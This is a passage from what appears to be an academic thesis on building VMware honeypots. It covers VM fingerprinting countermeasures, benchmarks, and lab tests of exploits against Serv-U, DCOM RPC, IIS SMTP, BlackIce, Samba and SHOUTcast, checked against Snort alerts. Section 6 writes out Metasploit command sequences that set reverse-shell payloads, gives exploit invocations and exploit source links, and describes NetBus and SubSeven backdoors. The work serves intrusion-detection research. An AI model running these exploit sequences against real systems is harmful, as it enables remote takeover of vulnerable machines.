Figure 14: Redhat MAC address

4.8.4 Devices Detection

Sometime it is possible to detect a VMware machine by looking at the system

devices. Some of these devices are unique to VMware machines. This is so because

VMware creates virtual devices that emulate the real working hardware components.

Unlike in UML case where the guest system uses the function call of the host OS to

access a hardware device.

Right click My Computer and select Properties, choose the Hardware tab and

then Device Manager. Under Disk Drive you will see VMware Virtual IDE Hardware

Drive. This disk drive can be used by the attacker to fingerprint the computer as a

VMware machine.

35

Figure 15: Device Manager

4.8.5 Computer System Detection

Although this method only raises suspicion, an attacker could look at the

computer speed, ram, and hard drive space. Though an attacker might be wrong, a

computer with a two gigahertz CPU, 80 megabytes of ram, and 4 gig hard drive isn’t a

typical system. This is so because a typical computer with a two gigahertz CPU has more

ram and a larger hard drive then a virtual HoneyPot machine.

4.9 Countermeasures for VMware Fingerprinting

As VMware HoneyPot machine becomes popular, people are beginning to find

ways to counter the VMware fingerprinting. The following section discusses the different

ways an administrator can prevent an attacker from detecting the VMware machine. The

table below shows the countermeasures which could be taken against the fingerprinting

methods discussed in section 4.6.x.

Section Fingerprint Countermeasure4.6.1 VMware Tool Detection OS Configuration4.6.2 System Detection Script/Hex Editor4.6.3 Mac Address Detection OS Configuration4.6.4 Devices Detection Script/Hex Editor4.6.5 Computer System Detection OS Configuration

Table 1: VMware countermeasures

36

4.9.1 Script/Hex Editor

Ultraedit is a simple hex editor that is used to edit VMware binary file, vmware-

vmx.exe. Once the vmware-vmx.exe file is loaded; the administrator can search for

Virtual IDE Hard Drive, Virtual IDE CDROM, etc and change them to the name that is

appropriate.

Figure 16: Hex Editor

This can also be done using scripts that are made to patch VMware. One such

script can be found on the French HoneyNet Project web page. This Linux script gives

the user an option to change the name of the IDE devices, SCSI devices, Video adapter,

and the I/O backdoor used by VMware. http://honeynet.rstack.org/tools.php

4.9.2 OS Configuration

Properly configuring your OS could help prevent the system from being

fingerprinted. To overcome the VMware tools fingerprinting one should not install this

37

http://honeynet.rstack.org/tools.php

feature in the guest machine when the guest OS is built to be a HoneyPot. Then one

should properly configure the VMware to give each virtual machine enough RAM i.e.

128 MB RAM or above. This could be done through the VMware Virtual Machine

Control Panel. Lastly, one should change VMware MAC address, else under the

command prompt, when an attacker uses the command ipconfig /all the default VMware

Mac address is displayed, meaning the Mac address assigned by VMware starts with 00-

0C-29, 00-50-56 or 00-05-69. Operating systems provide a way to change the MAC

address.

In windows, StartControl panelNetwork Connection (right click on local

connection) Properties Configures Advance tab Network Address and then

type in the MAC address you want to change to.

Figure 17: Changing MAC address in Windows XP

For Linux machine do the following commands:

ifconfig eth0 down hw ether 00:00:00:00:00:01

ifconfig eth0 up

38

5. VMware Benchmark Testing has shown that the maximum amount of memory that could be allocated to

all virtual machine is 1024 MB of ram for VMware Workstation version 4.0. VMware

versions 4.5 have their cap raised to 3.6 GB. Thus the maximum number of virtual machine

that can run simultaneously depends on the memory limit. If 640 MB of ram is assigned to

each virtual machine then, only one can run at a time. For my test I used 128 MB of ram.

With this configuration I can run eight virtual machines simultaneously. Even though I

have 640 MB of ram on total, VMware uses the system page file to make up for the rest.

Also the performance of each virtual machine is reduced, due to the lack of physical

memory and disk swapping.

When it comes to creating HoneyNet, a network of HoneyPots, different guest OS

must simultaneously be executed. There is considerable amount of overheads to the host

OS when multiple guest OS are running in VMware. This section will benchmark and

discuss about different methods to fine tune VMware to support a HoneyNet.

Using the default configuration of VMware I assigned 4 GB of total hard disk space

and I configured each of the HoneyPots to have 128MB ram.

To include a Windows XP in my HoneyNet the minimum required amount of RAM

is 64MB and the recommended is 128MB of RAM. Out of the 128MB of RAM assigned to

my HoneyPot machine, Windows XP uses 95MB. The CPU usage comes to 9.47% on

average on a 1.2GHz Duron with 640MB of Ram. Windows XP required 1.5GB of

available hard disk space. The minimum system requirement for Gentoo is 64MB and the

recommended is 128MB of Ram. Of the 128MB of Ram it uses 121MB. Gentoo has less

then 1% CPU usage when all the services in figure 9 are executed. Also it requires

39

minimum 1GB of free disk space. Redhat 6.2 requires 32MB of RAM (48MB

recommended) for GNOME Work-station configuration. Out of the 128MB of RAM that I

assigned to Redhat, it uses 74.3MB of RAM. The CPU usage of Redhat is 1.5% on

average. It requires a minimum of 700 MB disk space with this configuration.

OSRam Usage-Guest OS (MB)

Minimum RAM (MB)

CPU Usage (MHz)

Minimum Hard Drive (GB)

Windows XP 95 64 113.64 1.5Gentoo 121 64 12 1Redhat 74.3 32 18 0.7

Table 2: VMware Bunchmark

The following graph shows the CPU and RAM usage while running different guest OS.

VMware Benchmark

0 20 40 60 80 100 120 140

Ram Usage-GuestOS (MB)

Minimum RAM(MB)

CPU Usage (MHz)

Redhat

Gentoo

Windows XP

Figure 18: VMware Benchmark

Some recommended methods to minimize the memory usage are to disable X-

Windows (GNOME) in Linux OS. This will reduce the memory and CPU usage, thus

allowing more machines to run simultaneously. But note that by reducing the memory and

disk space available to a HoneyPot, an attacker might questions whether the machine is

actually a real machine. Also removing unnecessary processes will help save memory and

CPU usage.

40

6. Studying, Simulating and Analyzing Attacks

Once the administrator finishes setting up the HoneyPot system it is time to

simulate, monitor and analyze the different attacks on the HoneyPot system. In the

following sections I will discuss about the different attacks and reports given by Snort and

TripWire. To execute some of these exploits I used Metasploit, a platform for testing

exploit code. More information about Metasploit can be found in Appendix E. The choice

of attacks comes from the need to exploit Windows and Linux machines, where the

Windows machine is the primary focus. All the attacks chosen have been tested with their

respective exploitable applications. Buffer overflow attacks are common and are often seen

when an attacker exploits a major vulnerability in an application and gains root privileges.

These types of attacks should be focused on, as opposed to email viruses and other Trojan

horse attacks while building a HoneyPot machine. That is so because there is no physical

user on the HoneyPot machine to accidentally open the email with the virus file. Thus I will

focus more on server software, e.g. buffer overflow attacks, to show how a system can be

compromised without having a user physically present. The following table shows the

different exploits that were used, the target platform and whether Snort detects them.

Section Exploit Name Category Target OS Snort6.1 Serv-U Exploit Buffer Overflow XP Yes6.2 Superscan Probe / Scanner XP / Linux Yes6.3 Ethereal Exploit Buffer Overflow XP / Linux Yes6.4 Netbus Backdoor/ Trojan horse XP Edit rules6.5 Subseven Backdoor/ Trojan horse XP Edit rules6.6 Windows DCOM RPC Buffer Overflow XP Yes6.7 IIS SMTP Exploit Buffer Overflow XP Add rules6.8 ISS BlackIce Exploit Buffer Overflow XP Yes6.9 Samba trans2open Buffer Overflow Linux Yes6.10 ShoutCast Buffer Overflow Linux Yes

Table 3: Exploits used on the HoneyPot machines

41

6.1 Serv-U Buffer Overflow Attack: (Windows XP)

Serv-U is a FTP program under windows that allows file to be transferred between

two machines. Serv-U FTPD versions 4.1.0.11 and prior have vulnerability to the buffer

overflow attack. This attack simulation will exploit the feature in Serv-U which shows the

last modified time of the file, often called MODIFICATION TIME (MDTM). This feature

of Serv-U can be overflowed and an attacker can insert their malicious code to gain root

privileges.

6.1.1 Setup

In this demo I will analyze a Serv-U Ftp attack. To stage this attack I have two

machines running. One machine is Windows XP Pro and the other is Linux Gentoo. In the

Windows machine I run Serv-U Ftp 4.1. I had chosen this version of Serv-U because it is

vulnerable to the MDTM attack that we are simulating.

Attack code source: http://www.securiteam.com/exploits/5SP020KCAG.html

Figure 19: Serv-U version 4.1

In my Linux machine I run the Serv-U exploit code, the command that I used is

./test –h 192.168.0.111 –t 4. Test is my complied Serv-U buffer overflow exploitation code.

42

http://www.securiteam.com/exploits/5SP020KCAG.html

This gives me access to Windows XP main directory. After I gained access, I removed all

the files in the c:\wutemp directory. Typically, an attacker could install a virus or remove

important system file after he gains root access.

Figure 20: Serv-U exploit

The following screenshot shows that the exploit had opened a command prompt on the

target computer without the knowledge of the user.

Figure 21: Buffer Overflow opens prompt

43

6.1.2 Analyze Snort Report

Snort detects this buffer overflow Serv-U attack. After the attack I took steps in

analyzing Snort log files. Looking at the log directory, I noticed that there is an access from

address 192.168.0.171 to the HoneyPot machine. Snort logs access information in separate

directory for different IP addresses.

Figure 22: alert.ids file

The reports in the alert file flag a [priority 1] alert. This means that this is a high

priority alert. Looking at the details of the alert I noticed that it is classified by Snort as an

FTP MDTM overflow attack.

44

Figure 23: Serv-U, FTP MDTM overflow alert

Additional details from the attack can be found in the log’s subdirectory.

Figure 24: Serv-U FTP log subdirectory

In the following screenshots, I see the code that was used to cause the buffer

overflow. Notice that this is the same code as in the exploit source file (test.c). The two

windows below show the same buffer overflow code which are found in Snort and the

source code on my Linux machine. A segment of the code that is similar is highlighted.

45

Figure 25: TCP_32773-21.ids file, Serv-U buffer overflow

Figure 26: Shellcode for Serv-U buffer overflow in the C file

On the other log file, Snort logs the Attack Responses Directory Listing. This log

file shows the directory the attacker had explored, meaning the c:\wutemp directory. With

this information, the administrator is able to get an overview of the directory listings from

the time when the attacker had gained access to the HoneyPot machine.

46

Figure 27: TCP_32774-21.ids file, Serv-U buffer overflow

6.2 Port Scan Probe: (Windows XP)

At times, an attacker will try to probe for an open port before launching an attack on

the system. In order to probe a system attacker often uses port scan tools. Port scan tools

usually will search and display all the ports which are open on the target system.

6.2.1 Setup

For this test scenario I used SuperScan in order to scan a machine with IP address

192.168.0.192. SuperScan is a program that probes a system for open ports. Some features

in SuperScan include: scan by port list, scan all ports from a given range, and ping.

47

Figure 28: SuperScan version 3.00


The alert report from Snort shows a list of probes from the scan. These alerts are

classified by Snort under “Attempted Information Leak”. If an administrator sees a report

like this, he will be able to conclude that this is a port scan launched from an outside

computer, in this case from IP address 192.168.0.191.

48

Figure 29: SuperScan alert

6.3 Ethereal Buffer Overflow Exploit:

Ethereal is a network protocol analyzer which is widely used tool for

troubleshooting, software development, education, etc. In older version of Ethereal there is

an exploit which allows a user to gain root privileges or crash Ethereal. For this example I

will test what happens when an attacker uses the buffer overflow exploit on ethereal.

6.3.1 Setup

For this setup my Gentoo (IP 192.168.20.128) machine is set up to run the exploit

code. This code is designed to overflow a buffer in ethereal, by means of a specially crafted

packet, causing a denial of service and possibly opening a port so that an attacker can gain

access to the target computer (IP 192.168.0.192). The list of target machines that are

vulnerable include Gentoo and Redhat, but applying this exploit to ethereal running on

Windows XP also causes a denial of service.

49

Figure 30: Ethereal exploit execution

On my Windows XP machine I set up Ethereal version 0.10.0 so that it is in capture

packets mode. While in this mode, Ethereal will capture all incoming packets. Among these

packets, it will capture the buffer overflow packets which are designed to exploit ethereal.

If I close the capture Ethereal will crash because it tries to read the corrupted packet.

Figure 31: Ethereal Capture

50

Using a newer version of Ethereal, the corrupted packet will not be able to crash

Ethereal version 0.10.5. Looking at the captured packet, I see that they are labeled as a

Membership Query which uses the IGAP protocol.

Figure 32: Ethereal membership query


Looking at Snort Report I see that it recorded the packets as an IGMP overflow

attempt to gain administrative privileges. These are priority 1 messages, meaning it is a

high alert and must be looked at carefully. Also notice that the packet IP address is

192.168.0.128. This is not the IP address of the attackers’ computer (192.168.0.206). An

administrator must always be careful when checking IP addresses because the source

address could be changed. Having an IP address doesn’t necessarily mean that the IP

belongs to whoever is sending it.

51

Figure 33: Eethereal exploit alert

6.4 Netbus Backdoor: (Windows XP)

Netbus is a backdoor program that allows a malicious user to spy and spoof the

target computer. Netbus can sometimes infect a computer if a computer opens a file that

has the Netbus program on it. Sometimes Netbus installation program will disguise itself to

be an ICQ installation program that failed when it is installed. Once installed Netbus will

open a port and allow a hacker to gain access to the exploited computer.

6.4.1 Setup

Netbus consists of two programs a server and a client. In order to infect a computer,

a server program sometimes disguises itself as an ICQ executable file that a naive user

installs on his computer. The user will see an error message and assume that the file is

corrupted; however Netbus had opened a port on the vulnerable computer.

52

Figure 34: Netbus installation

From the intruders’ side, in order to gain access to a vulnerable computer one needs

to run the client program. This application will connect to a computer that is running

Netbus server. It allows the hacker to spy and take control of the infected computer.

Figure 35: Netbus Client

53

By default Snort wouldn’t be able to detect a Netbus attempt at a computer because

the rule is commented out in Snort. To allow Snort to detect Netbus go to c:\snort\etc\

snort.conf and search for backdoor, then uncomment the backdoor detection rule as shown.

Figure 36: Snort - editing the snort.conf file for Netbus

Then, edit the file found in c:\snort\rules\backdoor.rules as needed. In this case I

removed the line flow:from_server,established; content:"PWD"; from the rules in order for

Snort to record Netbus.

Figure 37: Snort- editing backdoor.rules file for Netbus


Looking at the report given by Snort, I see that the backdoor Netbus active is logged

as priority 3. Snort recognizes that an attack is launched from computer with IP address

192.168.0.191 to IP address 192.168.0.192. Note: Snort records the packets going from the

HoneyPot machine to the attackers’.

54

Figure 38: Snort detecting Netbus in alert.ids file

6.5 Subseven Backdoor

Similar to Netbus, this backdoor program opens a port on the vulnerable machine,

giving an intruder control of the computer. Subseven considered being a Trojan horse

attack which by default uses port 27374. Once installed, Subseven will modify the registry

to start up this program when Windows XP restarts. On newer versions of Subseven the

server could be launched from eight possible locations such as registry, win.ini, system.ini

etc. The file name is randomly generated and hard to manually remove without using

antivirus software. However, if one chooses to manually remove this server application go

to the following link http://www.geocities.com/merijn_bellekom/new/sub7guide/

The following is a screenshot of the client application that runs on the attackers’ computer.

55

http://www.geocities.com/merijn_bellekom/new/sub7guide/

Figure 39: Subseven version 2.1.5

The additional feature that Subseven gives over Netbus includes the ability to edit

the server executable file. Using these options an attacker could change the icon display of

the server, get an email when the victim opens the server etc. These features give the

attacker the ability to customize the server based upon his needs. The following screenshot

shows the EditServer features provided by Subseven

56

Figure 40: Subseven server editor


Looking at the alert.ids file, I see that a backdoor Subseven attack has being launch.

Once again this is priority 3 same priority level as of Netbus. The port that is opened on the

victims’ computer is port number 27374 where the attackers’ port is 3180.

Figure 41: Snort alert.ids file detecting Subseven

57

Looking in the C:\Snort\log\192.168.0.192 directory, in the *.ids file I see that a

connecting has been established from Legends 2.1, which is the name of the Subseven

version used in the attack.

Figure 42: Snort log file for Subseven

6.6 Windows DCOM RPC Exploit

DCOM (Distributed Component Object Model) is a set of interfaces which allow

client program objects to request services from server program objects on other computers

on the network. DCOM uses the RPC (Remote Procedure Call) protocol. RPC provides

inter process communication method that allows a program running on one computer to

execute code on a remote system. By default Windows XP comes with DCOM RPC which

opens port 135 (Windows RPC port).

In Windows XP there is a vulnerability that exists in DCOM RPC, which allows the

attacker to overflow the buffer and execute malicious code. The most notable worm that

uses this exploit is the W32 Blaster Worm.

58

6.6.1 Setup

For this experiment, I used Metasploit to set up the Windows DCOM RPC attack.

The following commands are used to configure Metasploit and execute the code.

use msrpc_dcom_ms03_026set TARGET 0set PAYLOAD winreverseset RHOST 192.168.0.192set LHOST 192.168.0.191exploit The following screenshot shows a successful connection to the victims’ computer. The

hacker gained full access to the HoneyPot.

Figure 43: Windows DCOM RPC Exploit execution.


The alert.ids file shows a RPC buffer overflow exploit being executed from

computer with IP address 192.168.0.191. Also Snort reports an attempt to gain

administrative privileges and labels it as priority 1.

59

Figure 44: Snort DCOM RPC alert

6.7 IIS SMTP Exploit

Microsoft provides their users with the Internet Information Services (IIS). IIS is a

powerful web server that provides services such as FTP, HTML, SMTP, etc. By default

Windows XP does not enable the IIS services. The user must manually setup IIS on their

computer.

IIS provides SMTP service component that facilitates the transmission of Internet

mail. SMTP uses SSL (Secure Sockets Layer) to secure the exchanged information

between a client and a server. And SSL uses PCT (Private Communication Technology)

protocol which provides encryption, authentication and verification of the exchanged

information.

Vulnerability exists in PCT protocol stack which allows malicious users to overflow

the buffer and execute arbitrary code.

6.7.1 Setup

First, Install IIS from StartControl panel Add/ Remove programs

Add/Remove windows components. Second, set up SMTP to use SSL go to, Start

Control panel administrative toolsInternet Information Services. Right click Default

60

SMTP Virtual Severproperties Access tab Authentication use the setting as shown,

and click Ok.

Figure 45: SMTP setup

In order to create a test certificate for SMTP, download MakeCert from the

following link:

http://download.microsoft.com/download/platformsdk/Update/5.131.3617.0/NT45XP/EN-

US/makecert.exe.

Execute this program in cmd using the command: makecert -r -pe -n

"CN=www.yourserver.com" -b 01/01/2000 -e 01/01/2036 -eku 1.3.6.1.5.5.7.3.1 -ss my -sr

localMachine -sky exchange -sp "Microsoft RSA SChannel Cryptographic Provider" -sy

12.

Now go to, Start Control panel administrative toolsInternet Information

Services. Right click Default SMTP Virtual Severproperties Access tab Certificate

and select the existing certificate.

In Metasploit I used the following commands to perform the SSL PCT attack.

use windows_ssl_pct

set PAYLOAD winreverse

set RHOST 192.168.0.192

61

http://download.microsoft.com/download/platformsdk/Update/5.131.3617.0/NT45XP/EN-US/makecert.exe

http://download.microsoft.com/download/platformsdk/Update/5.131.3617.0/NT45XP/EN-US/makecert.exe

set LHOST 192.168.0.191

set RPOTO smtp

set RPORT 25

set EXITFUNC thread

set TARGET 6

exploit

The following screenshot shows a successful execution of the exploit. The

malicious user gains access to the HoneyPot machine IP address 192.168.0.192.

Figure 46: SMTP exploit execution


Interestingly, Snort does NOT detect the PCT overflow exploit. It might be possible

to manually edit the SMTP rules in Snort to give an alert when port 25 is opened. But by

default the predefined rules doesn’t recognized the PCT SMTP buffer overflow.

62

6.8 ISS BlackIce Exploit

BlackIce is a personal firewall built with intrusion detection system. It has the

ability to inspect inbound and outbound information as well as block connections. The

intrusion detection system will determine, alert and block possible attacks. There is

vulnerability in BlackIce version 3.6.ccf and prior, which allows an attacker to overflow the

buffer and execute code in the system.

6.8.1 Setup

On the HoneyPot machine, I installed the BlackIce server version 3.6.ccf. In order

to perform the BlackIce Overflow, I set up Metasploit using the following commands:

use blackice_pam_icq

set RHOST 192.168.0.192

set PAYLOAD winreverse

set TARGET 5

set LHOST 192.168.0.191

set EXITFUNC thread

exploit

BlackIce will not detect the invasion.

The following screen shows the successful attack on the Windows XP HoneyPot. The

hacker gained access to the BlackIce directory and from there he can explore the entire

system.

63

Figure 47: BlackIce exploit execution


Snort detects this exploit as an overflow attempt. The following is a screenshot of

the alert.ids file. This is considered as priority 2.

Figure 48: Snort alert.ids file for BlackIce

This is a screenshot of another file in the log directory. Here we see the script to overflow

the buffer.

Figure 49: Snort log file for BalckIce exploit

64

6.9 Samba trans2open Overflow

Samba is an application in UNIX to share folder with Windows XP. It gives UNIX

users access to the networking protocols in Windows products. Samba server is vulnerable

to buffer overflow when it uses the function trans2open(). This allows the hacker to gain

root shell to the vulnerable computer. Samba versions 2.2.8 and prior are open to this

attack.

6.9.1 Setup

Download Samba version 2.2.0 form http://us1.samba.org/samba/samba.html

(download the previous version). I installed samba on Redhat 6.2 and set up the server

according to the following web site http://www.kempston.net/solaris/samba.html . Once

samba is installed a user in XP machine can see and open the shared directory on Redhat.

As shown in the screenshot Redhat is Samba 2.2.0 and Vixen 2 is the XP computer.

Figure 50: Seeing Samba machine on windows XP

Running the exploit code from http://www.adamantix.org/sambal.tar.gz I managed

to gain root access on the HoneyPot Redhat machine. The following screenshot shows the

brute force attack on the Linux machine.

65

http://www.adamantix.org/sambal.tar.gz

http://www.kempston.net/solaris/samba.html

http://us1.samba.org/samba/samba.html

Figure 51: Gaining root access using Samba exploit


Analyzing the alert file, I see that this intrusion is considered by Snort as trans2open

buffer overflow. I also see that it is labeled as priority 1 and the malicious user gained root

access. This report is correct because this exploit is attacking the vulnerability in the

trans2open function of Samba.

Figure 52: Snort alert.lds file for Samba exploit

66

Looking at the files in the subdirectories, I can get more details of these alerts. In

the first screenshot, I see the actual packet that is sent to overflow that buffer. In the second

screenshot, I see the success of gaining root access to the target machine, uid=0(root).

Figure 53: Snort log file for Samba exploit

6.10 SHOUTcast Remote Exploit

SHOUTcast is a free Winamp streaming audio application that allows other people

to tune into your broadcast. Vulnerability exists in SHOUTcast version 1.8.9 and prior,

which can be downloaded from the following link: http://freshmeat.net/redir/shoutcast/160

41/url_tgz/shoutcast-1-8-9-linux-glibc6.tar.gz . I installed this server in my HoneyPot

Redhat machine.

The following screenshot shows the execution of the SHOUTcast server on the

Redhat machine.

67

http://freshmeat.net/redir/shoutcast/160%2041/url_tgz/shoutcast-1-8-9-linux-glibc6.tar.gz

http://freshmeat.net/redir/shoutcast/160%2041/url_tgz/shoutcast-1-8-9-linux-glibc6.tar.gz

Figure 54: ShoutCast execution

I compiled and executed the code from http://www.netric.org/exploits/mayday-linux.c

page. Once executed the screenshot below shows the success of gaining root access.

Figure 55: ShoutCast exploit execution


The report from Snort shows a potential bad traffic, which returns root. This is

considered as priority 2 (first screenshot). Interestingly, snort does not recognize this attack

as a SHOUTcast attack; however Snort allows the user to insert their rules such that it will

68

http://www.netric.org/exploits/mayday-linux.c

properly identify this attack. The second screenshot shows the id information that is

returned after a successful attack.

Figure 56: Snort alert. ids and log files for ShoutCast exploit

7. Related work Other work regarding virtual-machine includes “Operating System Support for

Virtual Machines” [6]. In this paper the authors discuss about two different classes of

virtual-machine monitor (VMM). Virtual machine of Type I class is built on top of the host

platform which is the physical hardware. Type II virtual machines are built on top of the

host OS. Type II virtual machine interact with the physical hardware through the system

call provided by the host OS. As mentioned in this paper, VMware is a hybrid system that

has features of both Types I and II while UMLinux and UML are completely Type II

machines. Also in this paper the authors discuss methods to reduce the overhead of Type II

VMM. Implementing those methods, the authors managed to reduce the overhead of Type

II VMM by 14-35%.

69

In the paper “When Virtual Is Better than Real” [7], the authors argue the need to

migrate from the physical machine, the OS and its applications into a virtual machine. In

their paper Peter M. Chen and Brian D. Noble discuss about three different services

which would benefit from the migration. These services include secure logging, intrusion

prevention and detection, and environment migration. Also, in their work they talk of the

challenges of migrating to a virtual environment. The two primary challenges of doing so

are performance and the semantic gaps between the virtual and physical environments.

These challenges could be overcome, as discussed in this paper.

The paper “ReVirt: Enabling Intrusion Analysis through Virtual-Machine

Logging and Replay” talks about the Revirt Project at the University of Michigan which

studied ways to improve system loggers. The goal of the project is to address two

problems of current loggers: lacking integrity and completeness. Lacking integrity means

that current loggers trust the kernel which they run on e.g. loggers store their log files on

the local file system. If the attacker gains access to the system then the log files are

compromised. Revirt solves this by running the logger in a different domain than the

target system. Lacking completeness means loggers do not log enough information to

recreate an attack. The resulted software, Revirt, logs enough information to replay the

execution of a system before, during and after the system is compromised by the intruder.

Revirt gives the administrator the ability to stop the replay phase at different points of the

attack so that he/she could examine the system state and diagnose the intrusion. Also

studies at the University of Michigan have shown that the overhead for Revirt usage is

low, thus an administrator can run Revirt for an extensive amount of time without

requiring additional hardware.

70

In the book “HoneyPot Tracking Hackers” by Lance Spitzner, the author

discusses about different type of HoneyPot available. The author starts out with a

discussion of low-interaction HoneyPot and then steps forward into high-interaction

HoneyPot. Low-interaction HoneyPot implies that the HoneyPot is a piece of software

that emulates a variety of services, e.g. Telnet, SMTP, and HTTP. Some software that fall

into this category are Specter, HoneyD and BackOfficer. When attackers attack these

HoneyPots they are attacking an emulated server created by the application which is

designed to log the activities of the intruders. High-interaction HoneyPot implies that the

HoneyPot an actually system that is designed to be exploited. Software that runs under

these HoneyPots are real software as opposed to emulated applications as in a low-

interaction HoneyPot. Meaning that if the HoneyPot has a HTTP server up, the HTTP

application is an actual Apache HTTP server. These HoneyPots are more realistic and

require manual configuration and setup to effectively lure and monitor intruders. My

paper will fill in on what this book did not fully mention. In my paper I discussed steps

that must be taken when setting up a high-interaction HoneyPot using VMware. Unlike

low-interaction HoneyPot where one only needs to install one application, high-

interaction HoneyPot required the installation of the OS, applications, monitoring tools,

etc. This paper will discuss, in fine details, of the steps that are required in setting up and

testing a high-interaction HoneyPot.

8. Summary

This paper has explored different ways of building HoneyNet. Out of these

methods, I looked closely at UML and VMware. This paper shows the steps that are

71

necessary in creating a HoneyPot machine. It explains what the administrator should look

out for while building a HoneyPot, e.g. VMware and UML fingerprinting and security

issues. I explained monitoring techniques and ways to test exploits.

This paper shows the different methods of fingerprinting that an attacker could use

to determine if it is a virtual system. It also shows different ways to countermeasure

fingerprinting. Thus making the attacker believe he/she is attacking the real system.

Security issues are also discussed in this paper. To prevent an attacker from

exploiting the HoneyPot system and then use the system to attack other networks, I used a

firewall. Not only does setting up a firewall protect other networks, but also it is possible

for a firewall to protect the host OS from intruders inside the HoneyPot system.

The two monitoring tools I used are Snort and TripWire. These software are

traditionally used on private networks to monitor and detect intrusions. I discussed how

these software can be set up on a HoneyPot system to detect an attackers and learn about

their exploits.

I looked at Metasploit, a platform for building and testing exploits. Using this

software I showed how easy it is to test the HoneyPot monitoring system against different

exploits. Also with this tool, I am able to find out what Snort can and cannot detect. Thus I

am able to find out what additional rules I must write and add to Snort so that it can detect

the newer exploits.

VMware benchmarking is done in this paper to show how effective VMware is

when it is used to build a HoneyNet. I have shown different ways to reduce the memory

and CPU usage of each HoneyPot. Thus larger HoneyNet system can be created without

the need of additional hardware.

72

9. Conclusion

In conclusion, many issues need to be considered in order to build a good

HoneyPot. First, since the majority of computers in homes and work places use Windows

OS, most of the attacks are written to target Windows machines. Therefore, the

HoneyNet must have Windows HoneyPot system. Second, the HoneyNet should be built

using a virtual machine. This is so because a HoneyNet built using a virtual machine is

cheaper, easier to set up, easier to maintain and monitor. In addition, the administrator

could continue with his/her real work on the host machine. Third, a HoneyPot is only

effective when an attacker believes he/she is attacking a real system. Thus fingerprinting

countermeasures must be implemented and carefully set up to make the HoneyPot appear

to be a real working system. Forth, proper monitoring and detection tools must be

installed on the HoneyNet. These tools should be able to alert the administrator and

provide him/her sufficient information to learn about the attackers methods. In addition,

these monitoring and detection tools must provide properly organized information to the

administrator so he/she could pin point the attack and not spend most of his/her time

seeking for the attack information. Fifth, the administrator must have a proper firewall

installed on the host OS. The firewall must be able to protect the host machine and

prevent attackers from inside the HoneyPot machine to attack other systems on the public

network. Sixth, the host machine should be built to be secure as possible. Meaning, it

should be fully patched with all the latest updates. Doing so would prevent an attacker

from exploiting the host machine. Lastly, the HoneyPot machine should be build to be

73

appealing to the attackers. It must be configured with different services and settings.

Also, using an out of box OS for the guest is advisable because this would make the

system more appealing and thus deter the intruder from the real system.

74

References [1] Bob Pelletier (2004). “Connection Redirection Applied to Production Honeypots”.

[2] Ryan C. Barnett (2002) “Monitoring VMware HoneyPots”. http://honeypots.sourceforge.net/monitoring_vmware_honeypots.html#test_scenario

[3] University of Cambridge (2004). “Xen – The Xen virtual machine monitor”.http://www.cl.cam.ac.uk/Research/SRG/netos/xen/

[4] VMware - AN EMC COMPANY http://www.vmware.com/support/ws45/doc/

[5] The User-mode Linux Kernel Home Page http://user-mode-linux.sourceforge.net/

[6] Samuel T. King, George W. Dunlap, Peter M. Chen (2003). “Operating System Support for Virtual Machines”

[7] Peter M. Chen and Brian D. Noble. “When Virtual Is Better than Real”.

[8] Linux Productivity Magazine, TripWire (Volume 2 Issue 4, April 2003) http://www.troubleshooters.com/lpm/200304/200304.htm

[9] Skas Mode http://user-mode-linux.sourceforge.net/skas.html

[10] George W. Dunlap, Samuel T. King, Sukru Cinar, Murtaza A. Basrai, Peter M. Chen (2002) “ReVirt: Enabling Intrusion Analysis through Virtual-Machine Logging and Replay”

[11] Michael Clark “Virtual Honeynets” http://216.239.41.104/search?q=cache:rkFWOBpMbmkJ:safariexamples.informit.com/0321108957/chp11/vmware.html+host-only+network+honeypot+&hl=en

[12] “Know your Enemy Defining Virtual Honeynets , Different types of virtual Honeynets” http://www.it-faq.pl/Honeynet/virtual/

75

http://www.it-faq.pl/Honeynet/virtual/

http://216.239.41.104/search?q=cache:rkFWOBpMbmkJ:safariexamples.informit.com/0321108957/chp11/vmware.html+host-only+network+honeypot+&hl=en

http://216.239.41.104/search?q=cache:rkFWOBpMbmkJ:safariexamples.informit.com/0321108957/chp11/vmware.html+host-only+network+honeypot+&hl=en

http://user-mode-linux.sourceforge.net/skas.html

http://www.troubleshooters.com/lpm/200304/200304.htm

http://user-mode-linux.sourceforge.net/

http://www.vmware.com/support/ws45/doc/

http://www.cl.cam.ac.uk/Research/SRG/netos/xen/

http://honeypots.sourceforge.net/monitoring_vmware_honeypots.html#test_scenario

AppendicesAppendix A: TripWire

A.1 Installing TripWire

To install TripWire do “emerge tripwire” on Gentoo; this will install the TripWire application on the Linux HoneyPot machine.

Once TripWire is installed, you can make changes to the policy file and configuration file by editing the two files:

/etc/tripwire/twpol.txt/etc/tripwire/twcfg.txt

To generate cryptographic key and initialize the database use the command:

/etc/tripwire/twinstall.shtripwire --init

In order to run integrity check of the current file system against that stored in the database, use the command:

tripwire --check

To print out the report type:

twprint -m r --twrfile /var/lib/tripwire/report/<name>.twr

To update the policy file use the command:

twadmin --create-polfile -S site.key /etc/tripwire/twpol.txt

To update the configuration file use the command:

twadmin --create-cfgfile -S site.key /etc/tripwire/twcfg.txt

76

Below you see a printout example of the results; two files in the temp directory and one TripWire data file were added after the initial baseline database was created.

A. 1: TripWire changes report

Looking at the file details, TripWire report that the file mymachine.twd, hello.txt, and hello1.txt have been added.

A. 2: Tripwire details report

Appendix B: Snort

B.1 Installing WinPcap:

Snort uses the library in WinPcap, so before installing Snort install the WinPcap. The library is found at http://winpcap.polito.it/. Make sure that the version is 3.0; version 3.1 beta will give you an error message when you try to run Snort, as of the writing of this paper.

77

http://winpcap.polito.it/

B. 1: WinPcap

B.2 Installing Snort:

The window version of snort can be found at http://www.snort.org/dl/binaries/win32/.

Snort can be used as a packet logger, which logs all incoming packets into the log directory. The command to do so is:

snort –dev –l d:\snort\log

To use snort in Network Intrusion Detection Mode, meaning to log only packets that fit a certain rule, use the command:

snort –d –h 192.168.1.0/24 –l d:\snort\log –c d:\snort\etc\snort.conf

The screen below shows snort in Network Intrusion Detection Mode. This mode will create an alert file in the log directory, if the packet fits one of the rules in the file “snort.conf”.

78

http://www.snort.org/dl/binaries/win32/

B. 2: Snort execution

B.3 Testing Snort:

Then, I did a telnet access from Clarkson University to my home computer. Snort alerted me about the telnet access attempts from the school computer, and saved it in the log directory.

B. 3: Snort alert.ids file reporting telnet access

Appendix C: UML

C.1 Installing UML

The installation of UML could be found at http://www.gentoo.org/doc/en/uml.xmlNOTE: If emerge doesn’t work, use the document in the following link to manually compile UML on the computer. http://user-mode-linux.sourceforge.net/UserModeLinux-HOWTO-2.html#ss2.1

79

